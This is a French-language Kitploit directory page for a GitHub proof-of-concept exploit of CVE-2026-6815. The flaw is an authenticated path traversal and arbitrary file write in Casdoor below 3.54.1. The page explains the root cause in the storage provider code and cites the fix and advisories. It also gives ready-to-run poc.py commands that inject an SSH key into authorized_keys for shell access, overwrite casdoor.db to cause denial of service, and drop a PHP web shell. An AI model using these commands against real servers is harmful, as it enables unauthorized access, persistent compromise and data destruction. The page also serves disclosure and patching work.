Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-6815 — Exploit PoC de path traversal authentifié et d'écriture de fichier arbitraire pour Casdoor <3.54.1, permettant une RCE via injection de clé SSH, téléchargement de web shell ou DoS persistant via corruption de base de données. | Kitploit
Outils/GitHubGitHub/danilo-dellorco/cve-2026-6815
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubdanilo-dellorco/cve-2026-6815

CVE-2026-6815

Exploit PoC de path traversal authentifié et d'écriture de fichier arbitraire pour Casdoor <3.54.1, permettant une RCE via injection de clé SSH, téléchargement de web shell ou DoS persistant via corruption de base de données.

Voir le dépôt
227il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-6815 PoC/Exploit : Casdoor <3.54.1 Path Traversal et écriture arbitraire de fichiers (Authentifié)

Ce dépôt contient un exploit Proof of Concept (PoC) pour CVE-2026-6815, une vulnérabilité d'écriture arbitraire de fichiers et de path traversal dans Casdoor.

La vulnérabilité a été corrigée dans la version 3.54.1.

Prérequis

L'attaquant doit être authentifié sur l'instance Casdoor avec des privilèges d'administrateur ou un utilisateur équivalent ayant accès pour créer et/ou modifier les fournisseurs de stockage.

Impact

  • Exécution de code à distance (RCE) : En écrivant dans des emplacements sensibles comme .ssh/authorized_keys, les crontabs ou les racines web.
  • Déni de service (DoS) : En écrasant les bases de données de l'application (casdoor.db) ou les binaires principaux avec des fichiers arbitraires, ce qui arrête immédiatement l'application.

Détails techniques

Casdoor permet aux administrateurs de configurer des fournisseurs de stockage. Le fournisseur Local File System ne parvient pas à assainir correctement la configuration pathPrefix et le paramètre fullFilePath lors des téléchargements de ressources.

En utilisant des séquences de path traversal (../), un administrateur authentifié peut sortir du répertoire de stockage dédié et écrire des fichiers partout où le processus Casdoor a des permissions.

La vulnérabilité provient d'une validation insuffisante des chemins dans :

  • object/provider.go : Aucune validation sur pathPrefix lors de la création/mise à jour.
  • storage/local_file_system.go : La méthode GetFullPath ne vérifie pas si le chemin résolu reste dans le sandbox prévu.

Utilisation

  1. Installer les dépendances :

    pip install -r requirements.txt
    
  2. Exécuter l'exploit :

    python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
    

Exemples d'utilisation

1. Injection de clé SSH pour RCE

Écrire une clé publique contrôlée par l'attaquant dans le fichier authorized_keys de l'utilisateur casdoor pour obtenir un accès SSH.

Générer la clé SSH :

ssh-keygen -f casdoor_rce

Écraser authorized_keys avec la clé publique générée :

python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys

Obtenir un shell SSH sur l'hôte distant en utilisant la clé privée :

ssh -i ./casdoor_rce casdoor@target

2. DoS persistant (corruption de base de données)

Écraser le fichier de base de données local de l'application (par exemple, casdoor.db) pour provoquer un déni de service.

python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db

3. Téléchargement de web shell (racine web secondaire)

Si le serveur héberge un serveur web secondaire (par exemple, Apache/Nginx) sur le même système de fichiers, écrire un web shell dans sa racine de documents.

python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php

4. Organisation et application personnalisées

Si vous avez des identifiants d'administration pour une organisation et une application spécifiques (autres que les valeurs par défaut built-in et app-built-in), spécifiez-les en utilisant --orgname et --appname.

python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt

Références

  • Note de vulnérabilité CERT/CC VU#937808
  • CVE-2026-6815 sur CVE.org
  • Avis de sécurité Red Hat : CVE-2026-6815

Avertissement

Ce logiciel est destiné uniquement à des fins éducatives et de tests de sécurité autorisés. L'auteur n'est pas responsable de toute mauvaise utilisation de ces informations.

Auteur

Vulnérabilité découverte et PoC développé par Danilo Dell'Orco (sixpain).

Télécharger l’outil